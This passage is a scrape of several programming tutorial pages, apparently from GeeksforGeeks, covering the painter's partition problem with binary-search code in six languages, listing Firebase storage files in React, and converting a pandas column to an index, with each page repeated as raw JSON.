groupdt[, diff := difftime(col3, shift(col3, fill=col3[1L]), units=\"secs\"), by=col1] print (\"Modified DataFrame\")print (dt)", "e": 5699, "s": 5013, "text": null }, { "code": null, "e": 5706, "s": 5699, "text": "Output" }, { "code": null, "e": 6182, "s": 5706, "text": "[1] \"Original DataFrame\" \ncol1 col3 \n1: 7 2021-05-08 08:32:07 \n2: 7 2021-07-18 00:21:07 \n3: 8 2020-11-28 23:32:09 \n4: 8 2021-05-11 18:32:07 \n5: 8 2021-05-08 08:32:07 \n[1] \"Modified DataFrame\" \ncol1 col3 diff \n1: 7 2021-05-08 08:32:07 0 secs \n2: 7 2021-07-18 00:21:07 6104940 secs \n3: 8 2020-11-28 23:32:09 0 secs \n4: 8 2021-05-11 18:32:07 14151598 secs \n5: 8 2021-05-08 08:32:07 -295200 secs" }, { "code": null, "e": 6199, "s": 6184, "text": "sagar0719kumar" }, { "code": null, "e": 6206, "s": 6199, "text": "Picked" }, { "code": null, "e": 6227, "s": 6206, "text": "R DataFrame-Programs" }, { "code": null, "e": 6239, "s": 6227, "text": "R-DataFrame" }, { "code": null, "e": 6250, "s": 6239, "text": "R Language" }, { "code": null, "e": 6261, "s": 6250, "text": "R Programs" } ]
The painter’s partition problem | Set 2
11 Nov, 2021 We have to paint n boards of length {A1, A2, .. An}. There are k painters available and each takes 1 unit time to paint 1 unit of board. The problem is to find the minimum time to get this job done under the constraints that any painter will only paint continuous sections of boards, say board {2, 3, 4} or only board {1} or nothing but not board {2, 4, 5}. Examples : Input : k = 2, A = {10, 10, 10, 10} Output : 20. Here we can divide the boards into 2 equal sized partitions, so each painter gets 20 units of board and the total time taken is 20. Input : k = 2, A = {10, 20, 30, 40} Output : 60. Here we can divide first 3 boards for one painter and the last board for second painter. In the previous post we discussed a dynamic programming based approach having time complexity of and extra space. In this post we will look into a more efficient approach using binary search. We know that the invariant of binary search has two main parts: * the target value would always be in the searching range. * the searching range will decrease in each loop so that the termination can be reached. We also know that the values in this range must be in sorted order. Here our target value is the maximum sum of a contiguous section in the optimal allocation of boards. Now how can we apply binary search for this? We can fix the possible low to high range for the target value and narrow down our search to get the optimal allocation. We can see that the highest possible value in this range is the sum of all the elements in the array and this happens when we allot 1 painter all the sections of the board. The lowest possible value of this range is the maximum value of the array max, as in this allocation we can allot max to one painter and divide the other sections such that the cost of them is less than or equal to max and as close as possible to max. Now if we consider we use x painters in the above scenarios, it is obvious that as the value in the range increases, the value of x decreases and vice-versa. From this we can find the target value when x=k and use a helper function to find x, the minimum number of painters required when the maximum length of section a painter can paint is given. C++ Java Python3 C# PHP Javascript // CPP program for painter's partition problem#include <iostream>#include <climits>using namespace std; // return the maximum element from the arrayint getMax(int arr[], int n){ int max = INT_MIN; for (int i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max;} // return the sum of the elements in the arrayint getSum(int arr[], int n){ int total = 0; for (int i = 0; i < n; i++) total += arr[i]; return total;} // find minimum required painters for given maxlen// which is the maximum length a painter can paintint numberOfPainters(int arr[], int n, int maxLen){ int total = 0, numPainters = 1; for (int i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // for next count total = arr[i]; numPainters++; } } return numPainters;} int partition(int arr[], int n, int k){ int lo = getMax(arr, n); int hi = getSum(arr, n); while (lo < hi) { int mid = lo + (hi - lo) / 2; int requiredPainters = numberOfPainters(arr, n, mid); // find better optimum in lower half // here mid is included because we // may not get anything better if (requiredPainters <= k) hi = mid; // find better optimum in upper half // here mid is excluded because it gives // required Painters > k, which is invalid else lo = mid + 1; } // required return lo;} // driver functionint main(){ int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; int n = sizeof(arr) / sizeof(arr[0]); int k = 3; cout << partition(arr, n, k) << endl; return 0;} // Java Program for painter's partition problemimport java.util.*;import java.io.*; class GFG { // return the maximum element from the array static int getMax(int arr[], int n) { int max = Integer.MIN_VALUE; for (int i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max; } // return the sum of the elements in the array static int getSum(int arr[], int n) { int total = 0; for (int i = 0; i < n; i++) total += arr[i]; return total; } // find minimum required painters for given maxlen // which is the maximum length a painter can paint static int numberOfPainters(int arr[], int n, int maxLen) { int total = 0, numPainters = 1; for (int i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // for next count total = arr[i]; numPainters++; } } return numPainters; } static int partition(int arr[], int n, int k) { int lo = getMax(arr, n); int hi = getSum(arr, n); while (lo < hi) { int mid = lo + (hi - lo) / 2; int requiredPainters = numberOfPainters(arr, n, mid); // find better optimum in lower half // here mid is included because we // may not get anything better if (requiredPainters <= k) hi = mid; // find better optimum in upper half // here mid is excluded because it gives // required Painters > k, which is invalid else lo = mid + 1; } // required return lo; } // Driver code public static void main(String args[]) { int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; // Calculate size of array. int n = arr.length; int k = 3; System.out.println(partition(arr, n, k)); }} // This code is contributed by Sahil_Bansall # Python program for painter's partition problem # Find minimum required painters for given maxlen# which is the maximum length a painter can paintdef numberOfPainters(arr, n, maxLen): total = 0 numPainters = 1 for i in arr: total += i if (total > maxLen): # for next count total = i numPainters += 1 return numPainters def partition(arr, n, k): lo = max(arr) hi = sum(arr) while (lo < hi): mid = lo + (hi - lo) // 2 requiredPainters = numberOfPainters(arr, n, mid) # find better optimum in lower half # here mid is included because we # may not get anything better if (requiredPainters <= k): hi = mid # find better optimum in upper half # here mid is excluded because it gives # required Painters > k, which is invalid else: lo = mid + 1 # required return lo # Driver codearr = [1, 2, 3, 4, 5, 6, 7, 8, 9]n = len(arr)k = 3print(int(partition(arr, n, k))) // C# Program for painter's// partition problemusing System; class GFG { // return the maximum // element from the array static int getMax(int[] arr, int n) { int max = int.MinValue; for (int i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max; } // return the sum of the // elements in the array static int getSum(int[] arr, int n) { int total = 0; for (int i = 0; i < n; i++) total += arr[i]; return total; } // find minimum required // painters for given // maxlen which is the // maximum length a painter // can paint static int numberOfPainters(int[] arr, int n, int maxLen) { int total = 0, numPainters = 1; for (int i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // for next count total = arr[i]; numPainters++; } } return numPainters; } static int partition(int[] arr, int n, int k) { int lo = getMax(arr, n); int hi = getSum(arr, n); while (lo < hi) { int mid = lo + (hi - lo) / 2; int requiredPainters = numberOfPainters(arr, n, mid); // find better optimum in lower // half here mid is included // because we may not get // anything better if (requiredPainters <= k) hi = mid; // find better optimum in upper // half here mid is excluded // because it gives required // Painters > k, which is invalid else lo = mid + 1; } // required return lo; } // Driver code static public void Main() { int[] arr = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; // Calculate size of array. int n = arr.Length; int k = 3; Console.WriteLine(partition(arr, n, k)); }} // This code is contributed by ajit <?php// PHP program for painter's// partition problem // return the maximum// element from the arrayfunction getMax($arr, $n){ $max = PHP_INT_MIN; for ($i = 0; $i < $n; $i++) if ($arr[$i] > $max) $max = $arr[$i]; return $max;} // return the sum of the// elements in the arrayfunction getSum($arr, $n){ $total = 0; for ($i = 0; $i < $n; $i++) $total += $arr[$i]; return $total;} // find minimum required painters// for given maxlen which is the// maximum length a painter can paintfunction numberOfPainters($arr, $n, $maxLen){ $total = 0; $numPainters = 1; for ($i = 0; $i < $n; $i++) { $total += $arr[$i]; if ($total > $maxLen) { // for next count $total = $arr[$i]; $numPainters++; } } return $numPainters;} function partition($arr, $n, $k){ $lo = getMax($arr, $n); $hi = getSum($arr, $n); while ($lo < $hi) { $mid = $lo + ($hi - $lo) / 2; $requiredPainters = numberOfPainters($arr, $n, $mid); // find better optimum in // lower half here mid is // included because we may // not get anything better if ($requiredPainters <= $k) $hi = $mid; // find better optimum in // upper half here mid is // excluded because it // gives required Painters > k, // which is invalid else $lo = $mid + 1; } // required return floor($lo);} // Driver Code$arr = array(1, 2, 3, 4, 5, 6, 7, 8, 9);$n = sizeof($arr);$k = 3; echo partition($arr, $n, $k), "\n"; // This code is contributed by ajit?> <script> // Javascript Program for painter's partition problem // Return the maximum element from the arrayfunction getMax(arr, n){ let max = Number.MIN_VALUE; for(let i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max;} // Return the sum of the elements in the arrayfunction getSum(arr, n){ let total = 0; for(let i = 0; i < n; i++) total += arr[i]; return total;} // Find minimum required paleters for given maxlen// which is the maximum length a paleter can paletfunction numberOfPaleters(arr, n, maxLen){ let total = 0, numPaleters = 1; for(let i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // For next count total = arr[i]; numPaleters++; } } return numPaleters;} function partition(arr, n, k){ let lo = getMax(arr, n); let hi = getSum(arr, n); while (lo < hi) { let mid = lo + (hi - lo) / 2; let requiredPaleters = numberOfPaleters( arr, n, mid); // Find better optimum in lower half // here mid is included because we // may not get anything better if (requiredPaleters <= k) hi = mid; // find better optimum in upper half // here mid is excluded because it gives // required Paleters > k, which is invalid else lo = mid + 1; } // Required return lo;} // Driver codelet arr = [ 1, 2, 3, 4, 5, 6, 7, 8, 9 ]; // Calculate size of array.let n = arr.length;let k = 3; document.write(Math.round(partition(arr, n, k))); // This code is contributed by sanjoy_62 </script> Output : 17 For better understanding, please trace the example given in the program in pen and paper. The time complexity of the above approach is .References: https://articles.leetcode.com/the-painters-partition-problem-part-ii/ https://www.topcoder.com/community/data-science/data-science-tutorials/binary-search/Asked in: Google, Codenation. jit_t adwaith1990 sanjoy_62 cyclades ks9192174414 Binary Search Codenation Google Competitive Programming Divide and Conquer Dynamic Programming Searching Google Codenation Searching Dynamic Programming Divide and Conquer Binary Search Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Competitive Programming - A Complete Guide Practice for cracking any coding interview Arrow operator -> in C/C++ with Examples Modulo 10^9+7 (1000000007) Prefix Sum Array - Implementation and Applications in Competitive Programming Merge Sort QuickSort Binary Search Count Inversions in an array | Set 1 (Using Merge Sort) Median of two sorted arrays of different sizes
[ { "code": null, "e": 52, "s": 24, "text": "\n11 Nov, 2021" }, { "code": null, "e": 410, "s": 52, "text": "We have to paint n boards of length {A1, A2, .. An}. There are k painters available and each takes 1 unit time to paint 1 unit of board. The problem is to find the minimum time to get this job done under the constraints that any painter will only paint continuous sections of boards, say board {2, 3, 4} or only board {1} or nothing but not board {2, 4, 5}." }, { "code": null, "e": 422, "s": 410, "text": "Examples : " }, { "code": null, "e": 747, "s": 422, "text": "Input : k = 2, A = {10, 10, 10, 10} \nOutput : 20.\nHere we can divide the boards into 2\nequal sized partitions, so each painter \ngets 20 units of board and the total\ntime taken is 20. \n\nInput : k = 2, A = {10, 20, 30, 40} \nOutput : 60.\nHere we can divide first 3 boards for\none painter and the last board for \nsecond painter." }, { "code": null, "e": 1152, "s": 747, "text": "In the previous post we discussed a dynamic programming based approach having time complexity of and extra space. In this post we will look into a more efficient approach using binary search. We know that the invariant of binary search has two main parts: * the target value would always be in the searching range. * the searching range will decrease in each loop so that the termination can be reached. " }, { "code": null, "e": 1488, "s": 1152, "text": "We also know that the values in this range must be in sorted order. Here our target value is the maximum sum of a contiguous section in the optimal allocation of boards. Now how can we apply binary search for this? We can fix the possible low to high range for the target value and narrow down our search to get the optimal allocation." }, { "code": null, "e": 2261, "s": 1488, "text": "We can see that the highest possible value in this range is the sum of all the elements in the array and this happens when we allot 1 painter all the sections of the board. The lowest possible value of this range is the maximum value of the array max, as in this allocation we can allot max to one painter and divide the other sections such that the cost of them is less than or equal to max and as close as possible to max. Now if we consider we use x painters in the above scenarios, it is obvious that as the value in the range increases, the value of x decreases and vice-versa. From this we can find the target value when x=k and use a helper function to find x, the minimum number of painters required when the maximum length of section a painter can paint is given." }, { "code": null, "e": 2265, "s": 2261, "text": "C++" }, { "code": null, "e": 2270, "s": 2265, "text": "Java" }, { "code": null, "e": 2278, "s": 2270, "text": "Python3" }, { "code": null, "e": 2281, "s": 2278, "text": "C#" }, { "code": null, "e": 2285, "s": 2281, "text": "PHP" }, { "code": null, "e": 2296, "s": 2285, "text": "Javascript" }, { "code": "// CPP program for painter's partition problem#include <iostream>#include <climits>using namespace std; // return the maximum element from the arrayint getMax(int arr[], int n){ int max = INT_MIN; for (int i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max;} // return the sum of the elements in the arrayint getSum(int arr[], int n){ int total = 0; for (int i = 0; i < n; i++) total += arr[i]; return total;} // find minimum required painters for given maxlen// which is the maximum length a painter can paintint numberOfPainters(int arr[], int n, int maxLen){ int total = 0, numPainters = 1; for (int i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // for next count total = arr[i]; numPainters++; } } return numPainters;} int partition(int arr[], int n, int k){ int lo = getMax(arr, n); int hi = getSum(arr, n); while (lo < hi) { int mid = lo + (hi - lo) / 2; int requiredPainters = numberOfPainters(arr, n, mid); // find better optimum in lower half // here mid is included because we // may not get anything better if (requiredPainters <= k) hi = mid; // find better optimum in upper half // here mid is excluded because it gives // required Painters > k, which is invalid else lo = mid + 1; } // required return lo;} // driver functionint main(){ int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; int n = sizeof(arr) / sizeof(arr[0]); int k = 3; cout << partition(arr, n, k) << endl; return 0;}", "e": 3955, "s": 2296, "text": null }, { "code": "// Java Program for painter's partition problemimport java.util.*;import java.io.*; class GFG { // return the maximum element from the array static int getMax(int arr[], int n) { int max = Integer.MIN_VALUE; for (int i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max; } // return the sum of the elements in the array static int getSum(int arr[], int n) { int total = 0; for (int i = 0; i < n; i++) total += arr[i]; return total; } // find minimum required painters for given maxlen // which is the maximum length a painter can paint static int numberOfPainters(int arr[], int n, int maxLen) { int total = 0, numPainters = 1; for (int i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // for next count total = arr[i]; numPainters++; } } return numPainters; } static int partition(int arr[], int n, int k) { int lo = getMax(arr, n); int hi = getSum(arr, n); while (lo < hi) { int mid = lo + (hi - lo) / 2; int requiredPainters = numberOfPainters(arr, n, mid); // find better optimum in lower half // here mid is included because we // may not get anything better if (requiredPainters <= k) hi = mid; // find better optimum in upper half // here mid is excluded because it gives // required Painters > k, which is invalid else lo = mid + 1; } // required return lo; } // Driver code public static void main(String args[]) { int arr[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; // Calculate size of array. int n = arr.length; int k = 3; System.out.println(partition(arr, n, k)); }} // This code is contributed by Sahil_Bansall", "e": 5966, "s": 3955, "text": null }, { "code": "# Python program for painter's partition problem # Find minimum required painters for given maxlen# which is the maximum length a painter can paintdef numberOfPainters(arr, n, maxLen): total = 0 numPainters = 1 for i in arr: total += i if (total > maxLen): # for next count total = i numPainters += 1 return numPainters def partition(arr, n, k): lo = max(arr) hi = sum(arr) while (lo < hi): mid = lo + (hi - lo) // 2 requiredPainters = numberOfPainters(arr, n, mid) # find better optimum in lower half # here mid is included because we # may not get anything better if (requiredPainters <= k): hi = mid # find better optimum in upper half # here mid is excluded because it gives # required Painters > k, which is invalid else: lo = mid + 1 # required return lo # Driver codearr = [1, 2, 3, 4, 5, 6, 7, 8, 9]n = len(arr)k = 3print(int(partition(arr, n, k)))", "e": 6997, "s": 5966, "text": null }, { "code": "// C# Program for painter's// partition problemusing System; class GFG { // return the maximum // element from the array static int getMax(int[] arr, int n) { int max = int.MinValue; for (int i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max; } // return the sum of the // elements in the array static int getSum(int[] arr, int n) { int total = 0; for (int i = 0; i < n; i++) total += arr[i]; return total; } // find minimum required // painters for given // maxlen which is the // maximum length a painter // can paint static int numberOfPainters(int[] arr, int n, int maxLen) { int total = 0, numPainters = 1; for (int i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // for next count total = arr[i]; numPainters++; } } return numPainters; } static int partition(int[] arr, int n, int k) { int lo = getMax(arr, n); int hi = getSum(arr, n); while (lo < hi) { int mid = lo + (hi - lo) / 2; int requiredPainters = numberOfPainters(arr, n, mid); // find better optimum in lower // half here mid is included // because we may not get // anything better if (requiredPainters <= k) hi = mid; // find better optimum in upper // half here mid is excluded // because it gives required // Painters > k, which is invalid else lo = mid + 1; } // required return lo; } // Driver code static public void Main() { int[] arr = { 1, 2, 3, 4, 5, 6, 7, 8, 9 }; // Calculate size of array. int n = arr.Length; int k = 3; Console.WriteLine(partition(arr, n, k)); }} // This code is contributed by ajit", "e": 9092, "s": 6997, "text": null }, { "code": "<?php// PHP program for painter's// partition problem // return the maximum// element from the arrayfunction getMax($arr, $n){ $max = PHP_INT_MIN; for ($i = 0; $i < $n; $i++) if ($arr[$i] > $max) $max = $arr[$i]; return $max;} // return the sum of the// elements in the arrayfunction getSum($arr, $n){ $total = 0; for ($i = 0; $i < $n; $i++) $total += $arr[$i]; return $total;} // find minimum required painters// for given maxlen which is the// maximum length a painter can paintfunction numberOfPainters($arr, $n, $maxLen){ $total = 0; $numPainters = 1; for ($i = 0; $i < $n; $i++) { $total += $arr[$i]; if ($total > $maxLen) { // for next count $total = $arr[$i]; $numPainters++; } } return $numPainters;} function partition($arr, $n, $k){ $lo = getMax($arr, $n); $hi = getSum($arr, $n); while ($lo < $hi) { $mid = $lo + ($hi - $lo) / 2; $requiredPainters = numberOfPainters($arr, $n, $mid); // find better optimum in // lower half here mid is // included because we may // not get anything better if ($requiredPainters <= $k) $hi = $mid; // find better optimum in // upper half here mid is // excluded because it // gives required Painters > k, // which is invalid else $lo = $mid + 1; } // required return floor($lo);} // Driver Code$arr = array(1, 2, 3, 4, 5, 6, 7, 8, 9);$n = sizeof($arr);$k = 3; echo partition($arr, $n, $k), \"\\n\"; // This code is contributed by ajit?>", "e": 10835, "s": 9092, "text": null }, { "code": "<script> // Javascript Program for painter's partition problem // Return the maximum element from the arrayfunction getMax(arr, n){ let max = Number.MIN_VALUE; for(let i = 0; i < n; i++) if (arr[i] > max) max = arr[i]; return max;} // Return the sum of the elements in the arrayfunction getSum(arr, n){ let total = 0; for(let i = 0; i < n; i++) total += arr[i]; return total;} // Find minimum required paleters for given maxlen// which is the maximum length a paleter can paletfunction numberOfPaleters(arr, n, maxLen){ let total = 0, numPaleters = 1; for(let i = 0; i < n; i++) { total += arr[i]; if (total > maxLen) { // For next count total = arr[i]; numPaleters++; } } return numPaleters;} function partition(arr, n, k){ let lo = getMax(arr, n); let hi = getSum(arr, n); while (lo < hi) { let mid = lo + (hi - lo) / 2; let requiredPaleters = numberOfPaleters( arr, n, mid); // Find better optimum in lower half // here mid is included because we // may not get anything better if (requiredPaleters <= k) hi = mid; // find better optimum in upper half // here mid is excluded because it gives // required Paleters > k, which is invalid else lo = mid + 1; } // Required return lo;} // Driver codelet arr = [ 1, 2, 3, 4, 5, 6, 7, 8, 9 ]; // Calculate size of array.let n = arr.length;let k = 3; document.write(Math.round(partition(arr, n, k))); // This code is contributed by sanjoy_62 </script>", "e": 12507, "s": 10835, "text": null }, { "code": null, "e": 12517, "s": 12507, "text": "Output : " }, { "code": null, "e": 12520, "s": 12517, "text": "17" }, { "code": null, "e": 12854, "s": 12520, "text": "For better understanding, please trace the example given in the program in pen and paper. The time complexity of the above approach is .References: https://articles.leetcode.com/the-painters-partition-problem-part-ii/ https://www.topcoder.com/community/data-science/data-science-tutorials/binary-search/Asked in: Google, Codenation. " }, { "code": null, "e": 12860, "s": 12854, "text": "jit_t" }, { "code": null, "e": 12872, "s": 12860, "text": "adwaith1990" }, { "code": null, "e": 12882, "s": 12872, "text": "sanjoy_62" }, { "code": null, "e": 12891, "s": 12882, "text": "cyclades" }, { "code": null, "e": 12904, "s": 12891, "text": "ks9192174414" }, { "code": null, "e": 12918, "s": 12904, "text": "Binary Search" }, { "code": null, "e": 12929, "s": 12918, "text": "Codenation" }, { "code": null, "e": 12936, "s": 12929, "text": "Google" }, { "code": null, "e": 12960, "s": 12936, "text": "Competitive Programming" }, { "code": null, "e": 12979, "s": 12960, "text": "Divide and Conquer" }, { "code": null, "e": 12999, "s": 12979, "text": "Dynamic Programming" }, { "code": null, "e": 13009, "s": 12999, "text": "Searching" }, { "code": null, "e": 13016, "s": 13009, "text": "Google" }, { "code": null, "e": 13027, "s": 13016, "text": "Codenation" }, { "code": null, "e": 13037, "s": 13027, "text": "Searching" }, { "code": null, "e": 13057, "s": 13037, "text": "Dynamic Programming" }, { "code": null, "e": 13076, "s": 13057, "text": "Divide and Conquer" }, { "code": null, "e": 13090, "s": 13076, "text": "Binary Search" }, { "code": null, "e": 13188, "s": 13090, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 13231, "s": 13188, "text": "Competitive Programming - A Complete Guide" }, { "code": null, "e": 13274, "s": 13231, "text": "Practice for cracking any coding interview" }, { "code": null, "e": 13315, "s": 13274, "text": "Arrow operator -> in C/C++ with Examples" }, { "code": null, "e": 13342, "s": 13315, "text": "Modulo 10^9+7 (1000000007)" }, { "code": null, "e": 13420, "s": 13342, "text": "Prefix Sum Array - Implementation and Applications in Competitive Programming" }, { "code": null, "e": 13431, "s": 13420, "text": "Merge Sort" }, { "code": null, "e": 13441, "s": 13431, "text": "QuickSort" }, { "code": null, "e": 13455, "s": 13441, "text": "Binary Search" }, { "code": null, "e": 13511, "s": 13455, "text": "Count Inversions in an array | Set 1 (Using Merge Sort)" } ]
How to list all the files from firebase storage using ReactJS ?
30 Jun, 2021 The following approach covers how to list all the files from firebase storage using react. We have used the firebase module to achieve so. Creating React Application And Installing Module: Step 1: Create a React-app using the following command: npx create-react-app myapp Step 2: After creating your project folder i.e. myapp, move to it using the following command: cd myapp Project structure: Our project structure will look like this. Step 3: After creating the ReactJS application, Install the firebase module using the following command: npm install firebase@8.3.1 --save Step 4: Go to your firebase dashboard and create a new project and copy your credentials. const firebaseConfig = { apiKey: "your api key", authDomain: "your credentials", projectId: "your credentials", storageBucket: "your credentials", messagingSenderId: "your credentials", appId: "your credentials" }; Step 5: Initialize the Firebase into your project by creating a firebase.js file with the following code. firebase.js import firebase from 'firebase'; const firebaseConfig = { // Your Credentials}; firebase.initializeApp(firebaseConfig);var storage = firebase.storage(); export default storage; Step 6: Now go to your storage section in the firebase project and update your security rules. Here we are in testing mode, so we allow both read and write as true. After updating the code shown below, click on publish. Step 7: Now implement the list part. Here, We are going to use a method called listAll which helps us to get the list of all the files from firebase storage. App.js import { useState } from 'react';import storage from './firebase'; function App() { // States for data and image const [data, setData] = useState([]); const [image, setImage] = useState(''); const upload = () => { if (image == null) return; // Sending File to Firebase Storage storage.ref(`/images/${image.name}`).put(image) .on("state_changed", alert("success"), alert); } // List All Files const listItem = () => { storage.ref().child('images/').listAll() .then(res => { res.items.forEach((item) => { setData(arr => [...arr, item.name]); }) }) .catch(err => { alert(err.message); }) } return ( <div className="App" style={{ marginTop: 250 }}> <center> <input type="file" onChange={(e) => { setImage(e.target.files[0]) }} /> <button onClick={upload}>Upload</button> <br /><br /><br /><br /><br /><br /> <button onClick={listItem}>List Item</button> <br /><br /> { data.map((val) => ( <h2>{val}</h2> )) } </center> </div> );} export default App; Step to Run Application: Run the application using the following command from the root directory of the project: npm start Output: Now open your browser and go to http://localhost:3000/, you will see the following output: Firebase React-Questions ReactJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Axios in React: A Guide for Beginners ReactJS setState() How to pass data from one component to other component in ReactJS ? Re-rendering Components in ReactJS ReactJS defaultProps Top 10 Projects For Beginners To Practice HTML and CSS Skills Installation of Node.js on Linux Difference between var, let and const keywords in JavaScript How to insert spaces/tabs in text using HTML/CSS? Differences between Functional Components and Class Components in React
[ { "code": null, "e": 28, "s": 0, "text": "\n30 Jun, 2021" }, { "code": null, "e": 167, "s": 28, "text": "The following approach covers how to list all the files from firebase storage using react. We have used the firebase module to achieve so." }, { "code": null, "e": 217, "s": 167, "text": "Creating React Application And Installing Module:" }, { "code": null, "e": 273, "s": 217, "text": "Step 1: Create a React-app using the following command:" }, { "code": null, "e": 300, "s": 273, "text": "npx create-react-app myapp" }, { "code": null, "e": 395, "s": 300, "text": "Step 2: After creating your project folder i.e. myapp, move to it using the following command:" }, { "code": null, "e": 404, "s": 395, "text": "cd myapp" }, { "code": null, "e": 468, "s": 406, "text": "Project structure: Our project structure will look like this." }, { "code": null, "e": 573, "s": 468, "text": "Step 3: After creating the ReactJS application, Install the firebase module using the following command:" }, { "code": null, "e": 607, "s": 573, "text": "npm install firebase@8.3.1 --save" }, { "code": null, "e": 697, "s": 607, "text": "Step 4: Go to your firebase dashboard and create a new project and copy your credentials." }, { "code": null, "e": 948, "s": 697, "text": "const firebaseConfig = {\n apiKey: \"your api key\",\n authDomain: \"your credentials\",\n projectId: \"your credentials\",\n storageBucket: \"your credentials\",\n messagingSenderId: \"your credentials\",\n appId: \"your credentials\"\n};" }, { "code": null, "e": 1054, "s": 948, "text": "Step 5: Initialize the Firebase into your project by creating a firebase.js file with the following code." }, { "code": null, "e": 1066, "s": 1054, "text": "firebase.js" }, { "code": "import firebase from 'firebase'; const firebaseConfig = { // Your Credentials}; firebase.initializeApp(firebaseConfig);var storage = firebase.storage(); export default storage;", "e": 1249, "s": 1066, "text": null }, { "code": null, "e": 1470, "s": 1249, "text": "Step 6: Now go to your storage section in the firebase project and update your security rules. Here we are in testing mode, so we allow both read and write as true. After updating the code shown below, click on publish. " }, { "code": null, "e": 1628, "s": 1470, "text": "Step 7: Now implement the list part. Here, We are going to use a method called listAll which helps us to get the list of all the files from firebase storage." }, { "code": null, "e": 1635, "s": 1628, "text": "App.js" }, { "code": "import { useState } from 'react';import storage from './firebase'; function App() { // States for data and image const [data, setData] = useState([]); const [image, setImage] = useState(''); const upload = () => { if (image == null) return; // Sending File to Firebase Storage storage.ref(`/images/${image.name}`).put(image) .on(\"state_changed\", alert(\"success\"), alert); } // List All Files const listItem = () => { storage.ref().child('images/').listAll() .then(res => { res.items.forEach((item) => { setData(arr => [...arr, item.name]); }) }) .catch(err => { alert(err.message); }) } return ( <div className=\"App\" style={{ marginTop: 250 }}> <center> <input type=\"file\" onChange={(e) => { setImage(e.target.files[0]) }} /> <button onClick={upload}>Upload</button> <br /><br /><br /><br /><br /><br /> <button onClick={listItem}>List Item</button> <br /><br /> { data.map((val) => ( <h2>{val}</h2> )) } </center> </div> );} export default App;", "e": 2783, "s": 1635, "text": null }, { "code": null, "e": 2896, "s": 2783, "text": "Step to Run Application: Run the application using the following command from the root directory of the project:" }, { "code": null, "e": 2906, "s": 2896, "text": "npm start" }, { "code": null, "e": 3005, "s": 2906, "text": "Output: Now open your browser and go to http://localhost:3000/, you will see the following output:" }, { "code": null, "e": 3014, "s": 3005, "text": "Firebase" }, { "code": null, "e": 3030, "s": 3014, "text": "React-Questions" }, { "code": null, "e": 3038, "s": 3030, "text": "ReactJS" }, { "code": null, "e": 3055, "s": 3038, "text": "Web Technologies" }, { "code": null, "e": 3153, "s": 3055, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 3191, "s": 3153, "text": "Axios in React: A Guide for Beginners" }, { "code": null, "e": 3210, "s": 3191, "text": "ReactJS setState()" }, { "code": null, "e": 3278, "s": 3210, "text": "How to pass data from one component to other component in ReactJS ?" }, { "code": null, "e": 3313, "s": 3278, "text": "Re-rendering Components in ReactJS" }, { "code": null, "e": 3334, "s": 3313, "text": "ReactJS defaultProps" }, { "code": null, "e": 3396, "s": 3334, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 3429, "s": 3396, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 3490, "s": 3429, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 3540, "s": 3490, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
Convert a column to row name/index in Pandas
16 Jul, 2021 Pandas provide a convenient way to handle data and its transformation. Let’s see how can we convert a column to row name/index in Pandas. Create a dataframe first with dict of lists. Python3 # importing pandas as pdimport pandas as pd # Creating a dict of listsdata = {'Name':["Akash", "Geeku", "Pankaj", "Sumitra","Ramlal"], 'Branch':["B.Tech", "MBA", "BCA", "B.Tech", "BCA"], 'Score':["80","90","60", "30", "50"], 'Result': ["Pass","Pass","Pass","Fail","Fail"]} # creating a dataframedf = pd.DataFrame(data) df Output: Method #1: Using set_index() method. Python3 # importing pandas as pdimport pandas as pd # Creating a dict of listsdata = {'Name':["Akash", "Geeku", "Pankaj", "Sumitra","Ramlal"], 'Branch':["B.Tech", "MBA", "BCA", "B.Tech", "BCA"], 'Score':["80","90","60", "30", "50"], 'Result': ["Pass","Pass","Pass","Fail","Fail"]} # Creating a dataframedf = pd.DataFrame(data) # Using set_index() method on 'Name' columndf = df.set_index('Name') df Output: Now, set index name as None. Python3 # set the index to 'None' via its name propertydf.index.names = [None] df Output: Method #2: Using pivot() method.In order to convert a column to row name/index in dataframe, Pandas has a built-in function Pivot.Now, let’s say we want Result to be the rows/index, and columns be name in our dataframe, to achieve this pandas has provided a method called Pivot. Let us see how it works, Python3 # importing pandas as pdimport pandas as pd # Creating a dict of listsdata = {'name':["Akash", "Geeku", "Pankaj", "Sumitra", "Ramlal"], 'Branch':["B.Tech", "MBA", "BCA", "B.Tech", "BCA"], 'Score':["80", "90", "60", "30", "50"], 'Result': ["Pass", "Pass", "Pass", "Fail", "Fail"]} df = pd.DataFrame(data) # pivoting the dataframedf.pivot(index ='Result', columns ='name') df Output: surindertarika1234 pandas-dataframe-program Picked Python pandas-dataFrame Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Python Classes and Objects Python OOPs Concepts Introduction To PYTHON How to drop one or multiple columns in Pandas Dataframe Check if element exists in list in Python Python | os.path.join() method How To Convert Python Dictionary To JSON? 